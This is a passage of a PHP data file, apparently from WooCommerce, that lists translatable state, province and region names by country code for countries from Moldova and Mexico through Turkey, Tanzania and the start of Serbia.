		'ST' => __( 'Strășeni', 'woocommerce' ),
		'SD' => __( 'Șoldănești', 'woocommerce' ),
		'SV' => __( 'Ștefan Vodă', 'woocommerce' ),
		'TR' => __( 'Taraclia', 'woocommerce' ),
		'TL' => __( 'Telenești', 'woocommerce' ),
		'UN' => __( 'Ungheni', 'woocommerce' ),
	),
	'MQ' => array(),
	'MT' => array(),
	'MX' => array( // Mexico States.
		'DF' => __( 'Ciudad de México', 'woocommerce' ),
		'JA' => __( 'Jalisco', 'woocommerce' ),
		'NL' => __( 'Nuevo León', 'woocommerce' ),
		'AG' => __( 'Aguascalientes', 'woocommerce' ),
		'BC' => __( 'Baja California', 'woocommerce' ),
		'BS' => __( 'Baja California Sur', 'woocommerce' ),
		'CM' => __( 'Campeche', 'woocommerce' ),
		'CS' => __( 'Chiapas', 'woocommerce' ),
		'CH' => __( 'Chihuahua', 'woocommerce' ),
		'CO' => __( 'Coahuila', 'woocommerce' ),
		'CL' => __( 'Colima', 'woocommerce' ),
		'DG' => __( 'Durango', 'woocommerce' ),
		'GT' => __( 'Guanajuato', 'woocommerce' ),
		'GR' => __( 'Guerrero', 'woocommerce' ),
		'HG' => __( 'Hidalgo', 'woocommerce' ),
		'MX' => __( 'Estado de México', 'woocommerce' ),
		'MI' => __( 'Michoacán', 'woocommerce' ),
		'MO' => __( 'Morelos', 'woocommerce' ),
		'NA' => __( 'Nayarit', 'woocommerce' ),
		'OA' => __( 'Oaxaca', 'woocommerce' ),
		'PU' => __( 'Puebla', 'woocommerce' ),
		'QT' => __( 'Querétaro', 'woocommerce' ),
		'QR' => __( 'Quintana Roo', 'woocommerce' ),
		'SL' => __( 'San Luis Potosí', 'woocommerce' ),
		'SI' => __( 'Sinaloa', 'woocommerce' ),
		'SO' => __( 'Sonora', 'woocommerce' ),
		'TB' => __( 'Tabasco', 'woocommerce' ),
		'TM' => __( 'Tamaulipas', 'woocommerce' ),
		'TL' => __( 'Tlaxcala', 'woocommerce' ),
		'VE' => __( 'Veracruz', 'woocommerce' ),
		'YU' => __( 'Yucatán', 'woocommerce' ),
		'ZA' => __( 'Zacatecas', 'woocommerce' ),
	),
	'MY' => array( // Malaysian states.
		'JHR' => __( 'Johor', 'woocommerce' ),
		'KDH' => __( 'Kedah', 'woocommerce' ),
		'KTN' => __( 'Kelantan', 'woocommerce' ),
		'LBN' => __( 'Labuan', 'woocommerce' ),
		'MLK' => __( 'Malacca (Melaka)', 'woocommerce' ),
		'NSN' => __( 'Negeri Sembilan', 'woocommerce' ),
		'PHG' => __( 'Pahang', 'woocommerce' ),
		'PNG' => __( 'Penang (Pulau Pinang)', 'woocommerce' ),
		'PRK' => __( 'Perak', 'woocommerce' ),
		'PLS' => __( 'Perlis', 'woocommerce' ),
		'SBH' => __( 'Sabah', 'woocommerce' ),
		'SWK' => __( 'Sarawak', 'woocommerce' ),
		'SGR' => __( 'Selangor', 'woocommerce' ),
		'TRG' => __( 'Terengganu', 'woocommerce' ),
		'PJY' => __( 'Putrajaya', 'woocommerce' ),
		'KUL' => __( 'Kuala Lumpur', 'woocommerce' ),
	),
	'MZ' => array( // Mozambique provinces.
		'MZP'   => __( 'Cabo Delgado', 'woocommerce' ),
		'MZG'   => __( 'Gaza', 'woocommerce' ),
		'MZI'   => __( 'Inhambane', 'woocommerce' ),
		'MZB'   => __( 'Manica', 'woocommerce' ),
		'MZL'   => __( 'Maputo Province', 'woocommerce' ),
		'MZMPM' => __( 'Maputo', 'woocommerce' ),
		'MZN'   => __( 'Nampula', 'woocommerce' ),
		'MZA'   => __( 'Niassa', 'woocommerce' ),
		'MZS'   => __( 'Sofala', 'woocommerce' ),
		'MZT'   => __( 'Tete', 'woocommerce' ),
		'MZQ'   => __( 'Zambézia', 'woocommerce' ),
	),
	'NA' => array( // Namibia regions.
		'ER' => __( 'Erongo', 'woocommerce' ),
		'HA' => __( 'Hardap', 'woocommerce' ),
		'KA' => __( 'Karas', 'woocommerce' ),
		'KE' => __( 'Kavango East', 'woocommerce' ),
		'KW' => __( 'Kavango West', 'woocommerce' ),
		'KH' => __( 'Khomas', 'woocommerce' ),
		'KU' => __( 'Kunene', 'woocommerce' ),
		'OW' => __( 'Ohangwena', 'woocommerce' ),
		'OH' => __( 'Omaheke', 'woocommerce' ),
		'OS' => __( 'Omusati', 'woocommerce' ),
		'ON' => __( 'Oshana', 'woocommerce' ),
		'OT' => __( 'Oshikoto', 'woocommerce' ),
		'OD' => __( 'Otjozondjupa', 'woocommerce' ),
		'CA' => __( 'Zambezi', 'woocommerce' ),
	),
	'NG' => array( // Nigerian provinces.
		'AB' => __( 'Abia', 'woocommerce' ),
		'FC' => __( 'Abuja', 'woocommerce' ),
		'AD' => __( 'Adamawa', 'woocommerce' ),
		'AK' => __( 'Akwa Ibom', 'woocommerce' ),
		'AN' => __( 'Anambra', 'woocommerce' ),
		'BA' => __( 'Bauchi', 'woocommerce' ),
		'BY' => __( 'Bayelsa', 'woocommerce' ),
		'BE' => __( 'Benue', 'woocommerce' ),
		'BO' => __( 'Borno', 'woocommerce' ),
		'CR' => __( 'Cross River', 'woocommerce' ),
		'DE' => __( 'Delta', 'woocommerce' ),
		'EB' => __( 'Ebonyi', 'woocommerce' ),
		'ED' => __( 'Edo', 'woocommerce' ),
		'EK' => __( 'Ekiti', 'woocommerce' ),
		'EN' => __( 'Enugu', 'woocommerce' ),
		'GO' => __( 'Gombe', 'woocommerce' ),
		'IM' => __( 'Imo', 'woocommerce' ),
		'JI' => __( 'Jigawa', 'woocommerce' ),
		'KD' => __( 'Kaduna', 'woocommerce' ),
		'KN' => __( 'Kano', 'woocommerce' ),
		'KT' => __( 'Katsina', 'woocommerce' ),
		'KE' => __( 'Kebbi', 'woocommerce' ),
		'KO' => __( 'Kogi', 'woocommerce' ),
		'KW' => __( 'Kwara', 'woocommerce' ),
		'LA' => __( 'Lagos', 'woocommerce' ),
		'NA' => __( 'Nasarawa', 'woocommerce' ),
		'NI' => __( 'Niger', 'woocommerce' ),
		'OG' => __( 'Ogun', 'woocommerce' ),
		'ON' => __( 'Ondo', 'woocommerce' ),
		'OS' => __( 'Osun', 'woocommerce' ),
		'OY' => __( 'Oyo', 'woocommerce' ),
		'PL' => __( 'Plateau', 'woocommerce' ),
		'RI' => __( 'Rivers', 'woocommerce' ),
		'SO' => __( 'Sokoto', 'woocommerce' ),
		'TA' => __( 'Taraba', 'woocommerce' ),
		'YO' => __( 'Yobe', 'woocommerce' ),
		'ZA' => __( 'Zamfara', 'woocommerce' ),
	),
	'NL' => array(),
	'NO' => array(),
	'NP' => array( // Nepal states (Zones).
		'BAG' => __( 'Bagmati', 'woocommerce' ),
		'BHE' => __( 'Bheri', 'woocommerce' ),
		'DHA' => __( 'Dhaulagiri', 'woocommerce' ),
		'GAN' => __( 'Gandaki', 'woocommerce' ),
		'JAN' => __( 'Janakpur', 'woocommerce' ),
		'KAR' => __( 'Karnali', 'woocommerce' ),
		'KOS' => __( 'Koshi', 'woocommerce' ),
		'LUM' => __( 'Lumbini', 'woocommerce' ),
		'MAH' => __( 'Mahakali', 'woocommerce' ),
		'MEC' => __( 'Mechi', 'woocommerce' ),
		'NAR' => __( 'Narayani', 'woocommerce' ),
		'RAP' => __( 'Rapti', 'woocommerce' ),
		'SAG' => __( 'Sagarmatha', 'woocommerce' ),
		'SET' => __( 'Seti', 'woocommerce' ),
	),
	'NZ' => array( // New Zealand States.
		'NL' => __( 'Northland', 'woocommerce' ),
		'AK' => __( 'Auckland', 'woocommerce' ),
		'WA' => __( 'Waikato', 'woocommerce' ),
		'BP' => __( 'Bay of Plenty', 'woocommerce' ),
		'TK' => __( 'Taranaki', 'woocommerce' ),
		'GI' => __( 'Gisborne', 'woocommerce' ),
		'HB' => __( 'Hawke’s Bay', 'woocommerce' ),
		'MW' => __( 'Manawatu-Wanganui', 'woocommerce' ),
		'WE' => __( 'Wellington', 'woocommerce' ),
		'NS' => __( 'Nelson', 'woocommerce' ),
		'MB' => __( 'Marlborough', 'woocommerce' ),
		'TM' => __( 'Tasman', 'woocommerce' ),
		'WC' => __( 'West Coast', 'woocommerce' ),
		'CT' => __( 'Canterbury', 'woocommerce' ),
		'OT' => __( 'Otago', 'woocommerce' ),
		'SL' => __( 'Southland', 'woocommerce' ),
	),
	'PE' => array( // Peru states.
		'CAL' => __( 'El Callao', 'woocommerce' ),
		'LMA' => __( 'Municipalidad Metropolitana de Lima', 'woocommerce' ),
		'AMA' => __( 'Amazonas', 'woocommerce' ),
		'ANC' => __( 'Ancash', 'woocommerce' ),
		'APU' => __( 'Apurímac', 'woocommerce' ),
		'ARE' => __( 'Arequipa', 'woocommerce' ),
		'AYA' => __( 'Ayacucho', 'woocommerce' ),
		'CAJ' => __( 'Cajamarca', 'woocommerce' ),
		'CUS' => __( 'Cusco', 'woocommerce' ),
		'HUV' => __( 'Huancavelica', 'woocommerce' ),
		'HUC' => __( 'Huánuco', 'woocommerce' ),
		'ICA' => __( 'Ica', 'woocommerce' ),
		'JUN' => __( 'Junín', 'woocommerce' ),
		'LAL' => __( 'La Libertad', 'woocommerce' ),
		'LAM' => __( 'Lambayeque', 'woocommerce' ),
		'LIM' => __( 'Lima', 'woocommerce' ),
		'LOR' => __( 'Loreto', 'woocommerce' ),
		'MDD' => __( 'Madre de Dios', 'woocommerce' ),
		'MOQ' => __( 'Moquegua', 'woocommerce' ),
		'PAS' => __( 'Pasco', 'woocommerce' ),
		'PIU' => __( 'Piura', 'woocommerce' ),
		'PUN' => __( 'Puno', 'woocommerce' ),
		'SAM' => __( 'San Martín', 'woocommerce' ),
		'TAC' => __( 'Tacna', 'woocommerce' ),
		'TUM' => __( 'Tumbes', 'woocommerce' ),
		'UCA' => __( 'Ucayali', 'woocommerce' ),
	),

	/**
	 * Philippine Provinces.
	 */
	'PH' => array(
		'ABR' => __( 'Abra', 'woocommerce' ),
		'AGN' => __( 'Agusan del Norte', 'woocommerce' ),
		'AGS' => __( 'Agusan del Sur', 'woocommerce' ),
		'AKL' => __( 'Aklan', 'woocommerce' ),
		'ALB' => __( 'Albay', 'woocommerce' ),
		'ANT' => __( 'Antique', 'woocommerce' ),
		'APA' => __( 'Apayao', 'woocommerce' ),
		'AUR' => __( 'Aurora', 'woocommerce' ),
		'BAS' => __( 'Basilan', 'woocommerce' ),
		'BAN' => __( 'Bataan', 'woocommerce' ),
		'BTN' => __( 'Batanes', 'woocommerce' ),
		'BTG' => __( 'Batangas', 'woocommerce' ),
		'BEN' => __( 'Benguet', 'woocommerce' ),
		'BIL' => __( 'Biliran', 'woocommerce' ),
		'BOH' => __( 'Bohol', 'woocommerce' ),
		'BUK' => __( 'Bukidnon', 'woocommerce' ),
		'BUL' => __( 'Bulacan', 'woocommerce' ),
		'CAG' => __( 'Cagayan', 'woocommerce' ),
		'CAN' => __( 'Camarines Norte', 'woocommerce' ),
		'CAS' => __( 'Camarines Sur', 'woocommerce' ),
		'CAM' => __( 'Camiguin', 'woocommerce' ),
		'CAP' => __( 'Capiz', 'woocommerce' ),
		'CAT' => __( 'Catanduanes', 'woocommerce' ),
		'CAV' => __( 'Cavite', 'woocommerce' ),
		'CEB' => __( 'Cebu', 'woocommerce' ),
		'COM' => __( 'Compostela Valley', 'woocommerce' ),
		'NCO' => __( 'Cotabato', 'woocommerce' ),
		'DAV' => __( 'Davao del Norte', 'woocommerce' ),
		'DAS' => __( 'Davao del Sur', 'woocommerce' ),
		'DAC' => __( 'Davao Occidental', 'woocommerce' ),
		'DAO' => __( 'Davao Oriental', 'woocommerce' ),
		'DIN' => __( 'Dinagat Islands', 'woocommerce' ),
		'EAS' => __( 'Eastern Samar', 'woocommerce' ),
		'GUI' => __( 'Guimaras', 'woocommerce' ),
		'IFU' => __( 'Ifugao', 'woocommerce' ),
		'ILN' => __( 'Ilocos Norte', 'woocommerce' ),
		'ILS' => __( 'Ilocos Sur', 'woocommerce' ),
		'ILI' => __( 'Iloilo', 'woocommerce' ),
		'ISA' => __( 'Isabela', 'woocommerce' ),
		'KAL' => __( 'Kalinga', 'woocommerce' ),
		'LUN' => __( 'La Union', 'woocommerce' ),
		'LAG' => __( 'Laguna', 'woocommerce' ),
		'LAN' => __( 'Lanao del Norte', 'woocommerce' ),
		'LAS' => __( 'Lanao del Sur', 'woocommerce' ),
		'LEY' => __( 'Leyte', 'woocommerce' ),
		'MAG' => __( 'Maguindanao', 'woocommerce' ),
		'MAD' => __( 'Marinduque', 'woocommerce' ),
		'MAS' => __( 'Masbate', 'woocommerce' ),
		'MSC' => __( 'Misamis Occidental', 'woocommerce' ),
		'MSR' => __( 'Misamis Oriental', 'woocommerce' ),
		'MOU' => __( 'Mountain Province', 'woocommerce' ),
		'NEC' => __( 'Negros Occidental', 'woocommerce' ),
		'NER' => __( 'Negros Oriental', 'woocommerce' ),
		'NSA' => __( 'Northern Samar', 'woocommerce' ),
		'NUE' => __( 'Nueva Ecija', 'woocommerce' ),
		'NUV' => __( 'Nueva Vizcaya', 'woocommerce' ),
		'MDC' => __( 'Occidental Mindoro', 'woocommerce' ),
		'MDR' => __( 'Oriental Mindoro', 'woocommerce' ),
		'PLW' => __( 'Palawan', 'woocommerce' ),
		'PAM' => __( 'Pampanga', 'woocommerce' ),
		'PAN' => __( 'Pangasinan', 'woocommerce' ),
		'QUE' => __( 'Quezon', 'woocommerce' ),
		'QUI' => __( 'Quirino', 'woocommerce' ),
		'RIZ' => __( 'Rizal', 'woocommerce' ),
		'ROM' => __( 'Romblon', 'woocommerce' ),
		'WSA' => __( 'Samar', 'woocommerce' ),
		'SAR' => __( 'Sarangani', 'woocommerce' ),
		'SIQ' => __( 'Siquijor', 'woocommerce' ),
		'SOR' => __( 'Sorsogon', 'woocommerce' ),
		'SCO' => __( 'South Cotabato', 'woocommerce' ),
		'SLE' => __( 'Southern Leyte', 'woocommerce' ),
		'SUK' => __( 'Sultan Kudarat', 'woocommerce' ),
		'SLU' => __( 'Sulu', 'woocommerce' ),
		'SUN' => __( 'Surigao del Norte', 'woocommerce' ),
		'SUR' => __( 'Surigao del Sur', 'woocommerce' ),
		'TAR' => __( 'Tarlac', 'woocommerce' ),
		'TAW' => __( 'Tawi-Tawi', 'woocommerce' ),
		'ZMB' => __( 'Zambales', 'woocommerce' ),
		'ZAN' => __( 'Zamboanga del Norte', 'woocommerce' ),
		'ZAS' => __( 'Zamboanga del Sur', 'woocommerce' ),
		'ZSI' => __( 'Zamboanga Sibugay', 'woocommerce' ),
		'00'  => __( 'Metro Manila', 'woocommerce' ),
	),
	'PK' => array( // Pakistan's states.
		'JK' => __( 'Azad Kashmir', 'woocommerce' ),
		'BA' => __( 'Balochistan', 'woocommerce' ),
		'TA' => __( 'FATA', 'woocommerce' ),
		'GB' => __( 'Gilgit Baltistan', 'woocommerce' ),
		'IS' => __( 'Islamabad Capital Territory', 'woocommerce' ),
		'KP' => __( 'Khyber Pakhtunkhwa', 'woocommerce' ),
		'PB' => __( 'Punjab', 'woocommerce' ),
		'SD' => __( 'Sindh', 'woocommerce' ),
	),
	'PL' => array(),
	'PR' => array(),
	'PT' => array(),
	'PY' => array( // Paraguay states.
		'PY-ASU' => __( 'Asunción', 'woocommerce' ),
		'PY-1'   => __( 'Concepción', 'woocommerce' ),
		'PY-2'   => __( 'San Pedro', 'woocommerce' ),
		'PY-3'   => __( 'Cordillera', 'woocommerce' ),
		'PY-4'   => __( 'Guairá', 'woocommerce' ),
		'PY-5'   => __( 'Caaguazú', 'woocommerce' ),
		'PY-6'   => __( 'Caazapá', 'woocommerce' ),
		'PY-7'   => __( 'Itapúa', 'woocommerce' ),
		'PY-8'   => __( 'Misiones', 'woocommerce' ),
		'PY-9'   => __( 'Paraguarí', 'woocommerce' ),
		'PY-10'  => __( 'Alto Paraná', 'woocommerce' ),
		'PY-11'  => __( 'Central', 'woocommerce' ),
		'PY-12'  => __( 'Ñeembucú', 'woocommerce' ),
		'PY-13'  => __( 'Amambay', 'woocommerce' ),
		'PY-14'  => __( 'Canindeyú', 'woocommerce' ),
		'PY-15'  => __( 'Presidente Hayes', 'woocommerce' ),
		'PY-16'  => __( 'Alto Paraguay', 'woocommerce' ),
		'PY-17'  => __( 'Boquerón', 'woocommerce' ),
	),
	'RE' => array(),
	'RO' => array( // Romania states.
		'AB' => __( 'Alba', 'woocommerce' ),
		'AR' => __( 'Arad', 'woocommerce' ),
		'AG' => __( 'Argeș', 'woocommerce' ),
		'BC' => __( 'Bacău', 'woocommerce' ),
		'BH' => __( 'Bihor', 'woocommerce' ),
		'BN' => __( 'Bistrița-Năsăud', 'woocommerce' ),
		'BT' => __( 'Botoșani', 'woocommerce' ),
		'BR' => __( 'Brăila', 'woocommerce' ),
		'BV' => __( 'Brașov', 'woocommerce' ),
		'B'  => __( 'București', 'woocommerce' ),
		'BZ' => __( 'Buzău', 'woocommerce' ),
		'CL' => __( 'Călărași', 'woocommerce' ),
		'CS' => __( 'Caraș-Severin', 'woocommerce' ),
		'CJ' => __( 'Cluj', 'woocommerce' ),
		'CT' => __( 'Constanța', 'woocommerce' ),
		'CV' => __( 'Covasna', 'woocommerce' ),
		'DB' => __( 'Dâmbovița', 'woocommerce' ),
		'DJ' => __( 'Dolj', 'woocommerce' ),
		'GL' => __( 'Galați', 'woocommerce' ),
		'GR' => __( 'Giurgiu', 'woocommerce' ),
		'GJ' => __( 'Gorj', 'woocommerce' ),
		'HR' => __( 'Harghita', 'woocommerce' ),
		'HD' => __( 'Hunedoara', 'woocommerce' ),
		'IL' => __( 'Ialomița', 'woocommerce' ),
		'IS' => __( 'Iași', 'woocommerce' ),
		'IF' => __( 'Ilfov', 'woocommerce' ),
		'MM' => __( 'Maramureș', 'woocommerce' ),
		'MH' => __( 'Mehedinți', 'woocommerce' ),
		'MS' => __( 'Mureș', 'woocommerce' ),
		'NT' => __( 'Neamț', 'woocommerce' ),
		'OT' => __( 'Olt', 'woocommerce' ),
		'PH' => __( 'Prahova', 'woocommerce' ),
		'SJ' => __( 'Sălaj', 'woocommerce' ),
		'SM' => __( 'Satu Mare', 'woocommerce' ),
		'SB' => __( 'Sibiu', 'woocommerce' ),
		'SV' => __( 'Suceava', 'woocommerce' ),
		'TR' => __( 'Teleorman', 'woocommerce' ),
		'TM' => __( 'Timiș', 'woocommerce' ),
		'TL' => __( 'Tulcea', 'woocommerce' ),
		'VL' => __( 'Vâlcea', 'woocommerce' ),
		'VS' => __( 'Vaslui', 'woocommerce' ),
		'VN' => __( 'Vrancea', 'woocommerce' ),
	),
	'SG' => array(),
	'SK' => array(),
	'SI' => array(),
	'TH' => array( // Thailand states.
		'TH-37' => __( 'Amnat Charoen', 'woocommerce' ),
		'TH-15' => __( 'Ang Thong', 'woocommerce' ),
		'TH-14' => __( 'Ayutthaya', 'woocommerce' ),
		'TH-10' => __( 'Bangkok', 'woocommerce' ),
		'TH-38' => __( 'Bueng Kan', 'woocommerce' ),
		'TH-31' => __( 'Buri Ram', 'woocommerce' ),
		'TH-24' => __( 'Chachoengsao', 'woocommerce' ),
		'TH-18' => __( 'Chai Nat', 'woocommerce' ),
		'TH-36' => __( 'Chaiyaphum', 'woocommerce' ),
		'TH-22' => __( 'Chanthaburi', 'woocommerce' ),
		'TH-50' => __( 'Chiang Mai', 'woocommerce' ),
		'TH-57' => __( 'Chiang Rai', 'woocommerce' ),
		'TH-20' => __( 'Chonburi', 'woocommerce' ),
		'TH-86' => __( 'Chumphon', 'woocommerce' ),
		'TH-46' => __( 'Kalasin', 'woocommerce' ),
		'TH-62' => __( 'Kamphaeng Phet', 'woocommerce' ),
		'TH-71' => __( 'Kanchanaburi', 'woocommerce' ),
		'TH-40' => __( 'Khon Kaen', 'woocommerce' ),
		'TH-81' => __( 'Krabi', 'woocommerce' ),
		'TH-52' => __( 'Lampang', 'woocommerce' ),
		'TH-51' => __( 'Lamphun', 'woocommerce' ),
		'TH-42' => __( 'Loei', 'woocommerce' ),
		'TH-16' => __( 'Lopburi', 'woocommerce' ),
		'TH-58' => __( 'Mae Hong Son', 'woocommerce' ),
		'TH-44' => __( 'Maha Sarakham', 'woocommerce' ),
		'TH-49' => __( 'Mukdahan', 'woocommerce' ),
		'TH-26' => __( 'Nakhon Nayok', 'woocommerce' ),
		'TH-73' => __( 'Nakhon Pathom', 'woocommerce' ),
		'TH-48' => __( 'Nakhon Phanom', 'woocommerce' ),
		'TH-30' => __( 'Nakhon Ratchasima', 'woocommerce' ),
		'TH-60' => __( 'Nakhon Sawan', 'woocommerce' ),
		'TH-80' => __( 'Nakhon Si Thammarat', 'woocommerce' ),
		'TH-55' => __( 'Nan', 'woocommerce' ),
		'TH-96' => __( 'Narathiwat', 'woocommerce' ),
		'TH-39' => __( 'Nong Bua Lam Phu', 'woocommerce' ),
		'TH-43' => __( 'Nong Khai', 'woocommerce' ),
		'TH-12' => __( 'Nonthaburi', 'woocommerce' ),
		'TH-13' => __( 'Pathum Thani', 'woocommerce' ),
		'TH-94' => __( 'Pattani', 'woocommerce' ),
		'TH-82' => __( 'Phang Nga', 'woocommerce' ),
		'TH-93' => __( 'Phatthalung', 'woocommerce' ),
		'TH-56' => __( 'Phayao', 'woocommerce' ),
		'TH-67' => __( 'Phetchabun', 'woocommerce' ),
		'TH-76' => __( 'Phetchaburi', 'woocommerce' ),
		'TH-66' => __( 'Phichit', 'woocommerce' ),
		'TH-65' => __( 'Phitsanulok', 'woocommerce' ),
		'TH-54' => __( 'Phrae', 'woocommerce' ),
		'TH-83' => __( 'Phuket', 'woocommerce' ),
		'TH-25' => __( 'Prachin Buri', 'woocommerce' ),
		'TH-77' => __( 'Prachuap Khiri Khan', 'woocommerce' ),
		'TH-85' => __( 'Ranong', 'woocommerce' ),
		'TH-70' => __( 'Ratchaburi', 'woocommerce' ),
		'TH-21' => __( 'Rayong', 'woocommerce' ),
		'TH-45' => __( 'Roi Et', 'woocommerce' ),
		'TH-27' => __( 'Sa Kaeo', 'woocommerce' ),
		'TH-47' => __( 'Sakon Nakhon', 'woocommerce' ),
		'TH-11' => __( 'Samut Prakan', 'woocommerce' ),
		'TH-74' => __( 'Samut Sakhon', 'woocommerce' ),
		'TH-75' => __( 'Samut Songkhram', 'woocommerce' ),
		'TH-19' => __( 'Saraburi', 'woocommerce' ),
		'TH-91' => __( 'Satun', 'woocommerce' ),
		'TH-17' => __( 'Sing Buri', 'woocommerce' ),
		'TH-33' => __( 'Sisaket', 'woocommerce' ),
		'TH-90' => __( 'Songkhla', 'woocommerce' ),
		'TH-64' => __( 'Sukhothai', 'woocommerce' ),
		'TH-72' => __( 'Suphan Buri', 'woocommerce' ),
		'TH-84' => __( 'Surat Thani', 'woocommerce' ),
		'TH-32' => __( 'Surin', 'woocommerce' ),
		'TH-63' => __( 'Tak', 'woocommerce' ),
		'TH-92' => __( 'Trang', 'woocommerce' ),
		'TH-23' => __( 'Trat', 'woocommerce' ),
		'TH-34' => __( 'Ubon Ratchathani', 'woocommerce' ),
		'TH-41' => __( 'Udon Thani', 'woocommerce' ),
		'TH-61' => __( 'Uthai Thani', 'woocommerce' ),
		'TH-53' => __( 'Uttaradit', 'woocommerce' ),
		'TH-95' => __( 'Yala', 'woocommerce' ),
		'TH-35' => __( 'Yasothon', 'woocommerce' ),
	),
	'TR' => array( // Turkey States.
		'TR01' => __( 'Adana', 'woocommerce' ),
		'TR02' => __( 'Adıyaman', 'woocommerce' ),
		'TR03' => __( 'Afyon', 'woocommerce' ),
		'TR04' => __( 'Ağrı', 'woocommerce' ),
		'TR05' => __( 'Amasya', 'woocommerce' ),
		'TR06' => __( 'Ankara', 'woocommerce' ),
		'TR07' => __( 'Antalya', 'woocommerce' ),
		'TR08' => __( 'Artvin', 'woocommerce' ),
		'TR09' => __( 'Aydın', 'woocommerce' ),
		'TR10' => __( 'Balıkesir', 'woocommerce' ),
		'TR11' => __( 'Bilecik', 'woocommerce' ),
		'TR12' => __( 'Bingöl', 'woocommerce' ),
		'TR13' => __( 'Bitlis', 'woocommerce' ),
		'TR14' => __( 'Bolu', 'woocommerce' ),
		'TR15' => __( 'Burdur', 'woocommerce' ),
		'TR16' => __( 'Bursa', 'woocommerce' ),
		'TR17' => __( 'Çanakkale', 'woocommerce' ),
		'TR18' => __( 'Çankırı', 'woocommerce' ),
		'TR19' => __( 'Çorum', 'woocommerce' ),
		'TR20' => __( 'Denizli', 'woocommerce' ),
		'TR21' => __( 'Diyarbakır', 'woocommerce' ),
		'TR22' => __( 'Edirne', 'woocommerce' ),
		'TR23' => __( 'Elazığ', 'woocommerce' ),
		'TR24' => __( 'Erzincan', 'woocommerce' ),
		'TR25' => __( 'Erzurum', 'woocommerce' ),
		'TR26' => __( 'Eskişehir', 'woocommerce' ),
		'TR27' => __( 'Gaziantep', 'woocommerce' ),
		'TR28' => __( 'Giresun', 'woocommerce' ),
		'TR29' => __( 'Gümüşhane', 'woocommerce' ),
		'TR30' => __( 'Hakkari', 'woocommerce' ),
		'TR31' => __( 'Hatay', 'woocommerce' ),
		'TR32' => __( 'Isparta', 'woocommerce' ),
		'TR33' => __( 'İçel', 'woocommerce' ),
		'TR34' => __( 'İstanbul', 'woocommerce' ),
		'TR35' => __( 'İzmir', 'woocommerce' ),
		'TR36' => __( 'Kars', 'woocommerce' ),
		'TR37' => __( 'Kastamonu', 'woocommerce' ),
		'TR38' => __( 'Kayseri', 'woocommerce' ),
		'TR39' => __( 'Kırklareli', 'woocommerce' ),
		'TR40' => __( 'Kırşehir', 'woocommerce' ),
		'TR41' => __( 'Kocaeli', 'woocommerce' ),
		'TR42' => __( 'Konya', 'woocommerce' ),
		'TR43' => __( 'Kütahya', 'woocommerce' ),
		'TR44' => __( 'Malatya', 'woocommerce' ),
		'TR45' => __( 'Manisa', 'woocommerce' ),
		'TR46' => __( 'Kahramanmaraş', 'woocommerce' ),
		'TR47' => __( 'Mardin', 'woocommerce' ),
		'TR48' => __( 'Muğla', 'woocommerce' ),
		'TR49' => __( 'Muş', 'woocommerce' ),
		'TR50' => __( 'Nevşehir', 'woocommerce' ),
		'TR51' => __( 'Niğde', 'woocommerce' ),
		'TR52' => __( 'Ordu', 'woocommerce' ),
		'TR53' => __( 'Rize', 'woocommerce' ),
		'TR54' => __( 'Sakarya', 'woocommerce' ),
		'TR55' => __( 'Samsun', 'woocommerce' ),
		'TR56' => __( 'Siirt', 'woocommerce' ),
		'TR57' => __( 'Sinop', 'woocommerce' ),
		'TR58' => __( 'Sivas', 'woocommerce' ),
		'TR59' => __( 'Tekirdağ', 'woocommerce' ),
		'TR60' => __( 'Tokat', 'woocommerce' ),
		'TR61' => __( 'Trabzon', 'woocommerce' ),
		'TR62' => __( 'Tunceli', 'woocommerce' ),
		'TR63' => __( 'Şanlıurfa', 'woocommerce' ),
		'TR64' => __( 'Uşak', 'woocommerce' ),
		'TR65' => __( 'Van', 'woocommerce' ),
		'TR66' => __( 'Yozgat', 'woocommerce' ),
		'TR67' => __( 'Zonguldak', 'woocommerce' ),
		'TR68' => __( 'Aksaray', 'woocommerce' ),
		'TR69' => __( 'Bayburt', 'woocommerce' ),
		'TR70' => __( 'Karaman', 'woocommerce' ),
		'TR71' => __( 'Kırıkkale', 'woocommerce' ),
		'TR72' => __( 'Batman', 'woocommerce' ),
		'TR73' => __( 'Şırnak', 'woocommerce' ),
		'TR74' => __( 'Bartın', 'woocommerce' ),
		'TR75' => __( 'Ardahan', 'woocommerce' ),
		'TR76' => __( 'Iğdır', 'woocommerce' ),
		'TR77' => __( 'Yalova', 'woocommerce' ),
		'TR78' => __( 'Karabük', 'woocommerce' ),
		'TR79' => __( 'Kilis', 'woocommerce' ),
		'TR80' => __( 'Osmaniye', 'woocommerce' ),
		'TR81' => __( 'Düzce', 'woocommerce' ),
	),
	'TZ' => array( // Tanzania States.
		'TZ01' => __( 'Arusha', 'woocommerce' ),
		'TZ02' => __( 'Dar es Salaam', 'woocommerce' ),
		'TZ03' => __( 'Dodoma', 'woocommerce' ),
		'TZ04' => __( 'Iringa', 'woocommerce' ),
		'TZ05' => __( 'Kagera', 'woocommerce' ),
		'TZ06' => __( 'Pemba North', 'woocommerce' ),
		'TZ07' => __( 'Zanzibar North', 'woocommerce' ),
		'TZ08' => __( 'Kigoma', 'woocommerce' ),
		'TZ09' => __( 'Kilimanjaro', 'woocommerce' ),
		'TZ10' => __( 'Pemba South', 'woocommerce' ),
		'TZ11' => __( 'Zanzibar South', 'woocommerce' ),
		'TZ12' => __( 'Lindi', 'woocommerce' ),
		'TZ13' => __( 'Mara', 'woocommerce' ),
		'TZ14' => __( 'Mbeya', 'woocommerce' ),
		'TZ15' => __( 'Zanzibar West', 'woocommerce' ),
		'TZ16' => __( 'Morogoro', 'woocommerce' ),
		'TZ17' => __( 'Mtwara', 'woocommerce' ),
		'TZ18' => __( 'Mwanza', 'woocommerce' ),
		'TZ19' => __( 'Coast', 'woocommerce' ),
		'TZ20' => __( 'Rukwa', 'woocommerce' ),
		'TZ21' => __( 'Ruvuma', 'woocommerce' ),
		'TZ22' => __( 'Shinyanga', 'woocommerce' ),
		'TZ23' => __( 'Singida', 'woocommerce' ),
		'TZ24' => __( 'Tabora', 'woocommerce' ),
		'TZ25' => __( 'Tanga', 'woocommerce' ),
		'TZ26' => __( 'Manyara', 'woocommerce' ),
		'TZ27' => __( 'Geita', 'woocommerce' ),
		'TZ28' => __( 'Katavi', 'woocommerce' ),
		'TZ29' => __( 'Njombe', 'woocommerce' ),
		'TZ30' => __( 'Simiyu', 'woocommerce' ),
	),
	'LK' => array(),
	'RS' => array( // Serbia districts. Ref: https://github.com/unicode-org/cldr/blob/release-37/common/subdivisions/en.xml#L4251-L4283.
		'RS00' => _x( 'Belgrade', 'district', 'woocommerce' ),
